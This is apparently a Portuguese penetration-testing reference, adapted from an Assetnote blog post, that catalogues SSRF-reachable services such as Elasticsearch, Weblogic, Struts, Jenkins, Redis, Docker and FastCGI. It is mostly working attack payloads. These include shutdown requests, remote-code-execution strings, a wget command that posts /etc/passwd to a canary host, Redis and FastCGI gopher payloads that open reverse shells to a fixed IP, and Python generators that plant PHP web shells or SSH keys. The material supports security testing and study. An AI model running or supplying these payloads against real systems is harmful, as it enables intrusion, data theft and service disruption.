# Plataformas Vulneráveis a SSRF
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Esta seção foi copiada de [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/) ## Elasticsearch **Porta comum: 9200** Quando o Elasticsearch é implantado internamente, geralmente não requer autenticação. Se você tem um SSRF parcialmente cego onde pode determinar o código de status, verifique se os seguintes endpoints retornam um 200: ```http /_cluster/health /_cat/indices /_cat/health ``` Se você tem um SSRF cego onde pode enviar requisições POST, você pode desligar a instância do Elasticsearch enviando uma requisição POST para o seguinte caminho: Nota: a API `_shutdown` foi removida do Elasticsearch na versão 2.x. e superiores. Isso só funciona no Elasticsearch 1.6 e abaixo: ```http /_shutdown /_cluster/nodes/_master/_shutdown /_cluster/nodes/_shutdown /_cluster/nodes/_all/_shutdown ``` ## Weblogic **Portas comuns: 80, 443 (SSL), 7001, 8888** **SSRF Canary: UDDI Explorer (CVE-2014-4210)** ```http POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1 Host: target.com Content-Length: 137 Content-Type: application/x-www-form-urlencoded operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search ``` Isso também funciona via GET: ```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search ``` Este endpoint também é vulnerável a injeção CRLF: ``` GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0 Host: vuln.weblogic Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Connection: close ``` Resultará na seguinte solicitação: ``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, */*; q=.2 Connection: Keep-Alive sdf ``` **SSRF Canary: CVE-2020-14883** Retirado [daqui](https://forum.90sec.com/t/topic/1412). Linux: ```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117 _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml") ``` Windows: ```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117 _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml") ``` ## Hashicorp Consul **Portas comuns: 8500, 8501 (SSL)** Você pode encontrar o writeup [aqui](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html). ## Shellshock **Portas comuns: 80, 443 (SSL), 8080** Para testar efetivamente o Shellshock, você pode precisar adicionar um cabeçalho contendo o payload. Os seguintes caminhos CGI valem a pena tentar: Lista curta de caminhos CGI para teste: [Gist contendo caminhos](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4). **SSRF Canary: Shellshock via User Agent** ```bash User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY ``` ## Apache Druid **Portas comumente vinculadas: 80, 8080, 8888, 8082** Veja a referência da API para Apache Druid [aqui](https://druid.apache.org/docs/latest/operations/api-reference.html). Se você pode visualizar o código de status, verifique os seguintes caminhos para ver se eles retornam um código de status 200: ```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus ``` Tarefas de desligamento, requer que você adivinhe os IDs das tarefas ou o nome da fonte de dados: ```bash /druid/indexer/v1/task/{taskId}/shutdown /druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks ``` Supervisores de desligamento em Apache Druid Overlords: ```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown ``` ## Apache Solr **Porta comum: 8983** **SSRF Canary: Parâmetro Shards** > Para adicionar ao que o shubham está dizendo - escanear por solr é relativamente fácil. Existe um parâmetro shards= que permite que você redirecione SSRF para SSRF para verificar se você está atingindo uma instância solr às cegas. > > — Хавиж Наффи 🥕 (@nnwakelam) [13 de Janeiro de 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw) Retirado [daqui](https://github.com/veracode-research/solr-injection). ```bash /search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}} /solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json /xxx?q=aaa%26shards=http://SSRF_CANARY/solr /xxx?q=aaa&shards=http://SSRF_CANARY/solr ``` **SSRF Canary: Solr XXE (2017)** [Apache Solr 7.0.1 XXE (Packetstorm)](https://packetstormsecurity.com/files/144678/Apache-Solr-7.0.1-XXE-Injection-Code-Execution.html) ```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""} ``` **RCE via dataImportHandler** [Pesquisa sobre RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler) ## PeopleSoft **Portas comuns: 80,443 (SSL)** Retirado desta pesquisa [aqui](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce). **SSRF Canary: XXE #1** ```http POST /PSIGW/HttpListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ... ]> &x; your_message_content]]> ``` **SSRF Canary: XXE #2** ```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ... ``` ## Apache Struts **Portas comuns: 80,443 (SSL),8080,8443 (SSL)** Retirado [daqui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). **SSRF Canary: Struts2-016**: Adicione isso ao final de cada endpoint/URL interno que você conhecer: ```http ?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()} ``` ## JBoss **Portas comuns: 80,443 (SSL),8080,8443 (SSL)** Retirado [daqui](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). **SSRF Canary: Implante WAR a partir de URL** ```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war ``` ## Confluence **Portas comuns: 80,443 (SSL),8080,8443 (SSL)** **SSRF Canary: Sharelinks (versões do Confluence lançadas de novembro de 2016 e anteriores)** ```bash /rest/sharelinks/1.0/link?url=https://SSRF_CANARY/ ``` **SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)** [Ticket de Segurança Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344) ```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY ``` ## Jira **Portas comuns: 80,443 (SSL),8080,8443 (SSL)** **SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)** [Ticket de Segurança da Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344) ```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY ``` **SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)** [Ticket de Segurança da Atlassian JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793) ```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com ``` ## Outros Produtos Atlassian **Portas comumente vinculadas: 80,443 (SSL),8080,8443 (SSL)** **SSRF Canary: iconUriServlet (CVE-2017-9506)**: * Bamboo < 6.0.0 * Bitbucket < 4.14.4 * Crowd < 2.11.2 * Crucible < 4.3.2 * Fisheye < 4.3.2 [Ticket de Segurança Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344) ```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY ``` ## OpenTSDB **Porta comum: 4242** [Execução Remota de Código OpenTSDB](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html) **SSRF Canary: curl via RCE** ```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png ``` [Execução Remota de Código no OpenTSDB 2.4.0](https://github.com/OpenTSDB/opentsdb/issues/2051) **SSRF Canary: curl via RCE - CVE-2020-35476** ```bash /q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json ``` ## Jenkins **Portas comuns: 80,443 (SSL),8080,8888** Ótimo artigo [aqui](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html). **SSRF Canary: CVE-2018-1000600** ```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai ``` **RCE** Siga as instruções aqui para alcançar RCE via GET: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html) ```bash /org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange; ``` **RCE via Groovy** ``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay) ``` ## Painel Hystrix **Portas comumente vinculadas: 80,443 (SSL),8080** Spring Cloud Netflix, versões 2.2.x anteriores a 2.2.4, versões 2.1.x anteriores a 2.1.6. **SSRF Canary: CVE-2020-5412** ```bash /proxy.stream?origin=http://SSRF_CANARY/ ``` ## W3 Total Cache **Portas comuns: 80,443 (SSL)** W3 Total Cache 0.9.2.6-0.9.3 **SSRF Canary: CVE-2019-6715** Isso precisa ser uma requisição PUT: ```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close {"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"} ``` **SSRF Canary** O aviso sobre essa vulnerabilidade foi publicado aqui: [Vulnerabilidade SSRF do W3 Total Cache](https://klikki.fi/adv/w3\_total\_cache.html) Este código PHP irá gerar um payload para o seu host SSRF Canary (substitua `url` pelo seu host canary): ```php ``` ## Docker **Portas comumente vinculadas: 2375, 2376 (SSL)** Se você tem um SSRF parcialmente cego, você pode usar os seguintes caminhos para verificar a presença da API do Docker: ```bash /containers/json /secrets /services ``` **RCE através da execução de uma imagem docker arbitrária** ```http POST /containers/create?name=test HTTP/1.1 Host: website.com Content-Type: application/json ... {"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true} ``` Substitua alpine por uma imagem arbitrária que você gostaria que o contêiner do docker executasse. ## Gitlab Prometheus Redis Exporter **Portas comumente vinculadas: 9121** Esta vulnerabilidade afeta instâncias do Gitlab antes da versão 13.1.1. De acordo com a [documentação do Gitlab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus e seus exportadores estão ativados por padrão, a partir do GitLab 9.0.` Esses exportadores fornecem um excelente método para um atacante pivotar e atacar outros serviços usando CVE-2020-13379. Um dos exportadores que é facilmente explorado é o Redis Exporter. O seguinte endpoint permitirá que um atacante despeje todas as chaves no servidor redis fornecido via parâmetro target: ```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=* ``` *** **Possível via Gopher** ## Redis **Porta comum: 6379** Leitura recomendada: * [Tentando hackear Redis via requisições HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) * [Exploits SSRF contra Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis) **RCE via Cron** - [Superfícies de Ataque Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/) ```bash redis-cli -h $1 flushall echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1 redis-cli -h $1 config set dir /var/spool/cron/ redis-cli -h $1 config set dbfilename root redis-cli -h $1 save ``` Gopher: ```bash gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a ``` **RCE via Shell Upload (PHP)** - [Resumo do Redis Getshell](https://www.mdeditor.tw/pl/pBy0) ```python #!/usr/bin/env python # -*-coding:utf-8-*- import urllib protocol="gopher://" ip="192.168.189.208" port="6379" shell="\n\n\n\n" filename="shell.php" path="/var" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload ``` **RCE via authorized_keys** - [Resumo do Redis Getshell](https://www.mdeditor.tw/pl/pBy0) ```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379" # shell="\n\n\n\n" sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload ``` **RCE no GitLab via protocolo Git** Ótimo artigo de Liveoverflow [aqui](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/). Embora isso tenha exigido acesso autenticado ao GitLab para explorar, estou incluindo o payload aqui, pois o protocolo `git` pode funcionar no alvo que você está hackeando. Este payload é para referência. ```bash git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` ## Memcache **Porta comum: 11211** * [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815) * [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392) * [Exemplo de payload Gopher para Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell) ```bash gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a ``` ## Apache Tomcat **Portas comuns: 80,443 (SSL),8080,8443 (SSL)** Efetivo apenas contra Tomcat 6: [gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer) Writeup de CTF usando esta técnica: [De XXE para RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/) ## FastCGI **Portas comuns: 80,443 (SSL)** Isso foi retirado [daqui](https://blog.chaitin.cn/gopher-attack-surfaces/). ```bash gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00 ``` ## Java RMI **Portas comumente vinculadas: 1090,1098,1099,1199,4443-4446,8999-9010,9999** Vulnerabilidades _SSRF_ cegas que permitem bytes arbitrários (_baseados em gopher_) podem ser usadas para realizar ataques de desserialização ou de base de código nos componentes padrão do _Java RMI_ (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). Um artigo detalhado pode ser encontrado [aqui](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). A listagem a seguir mostra um exemplo para a geração de payload: ``` $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...] ```
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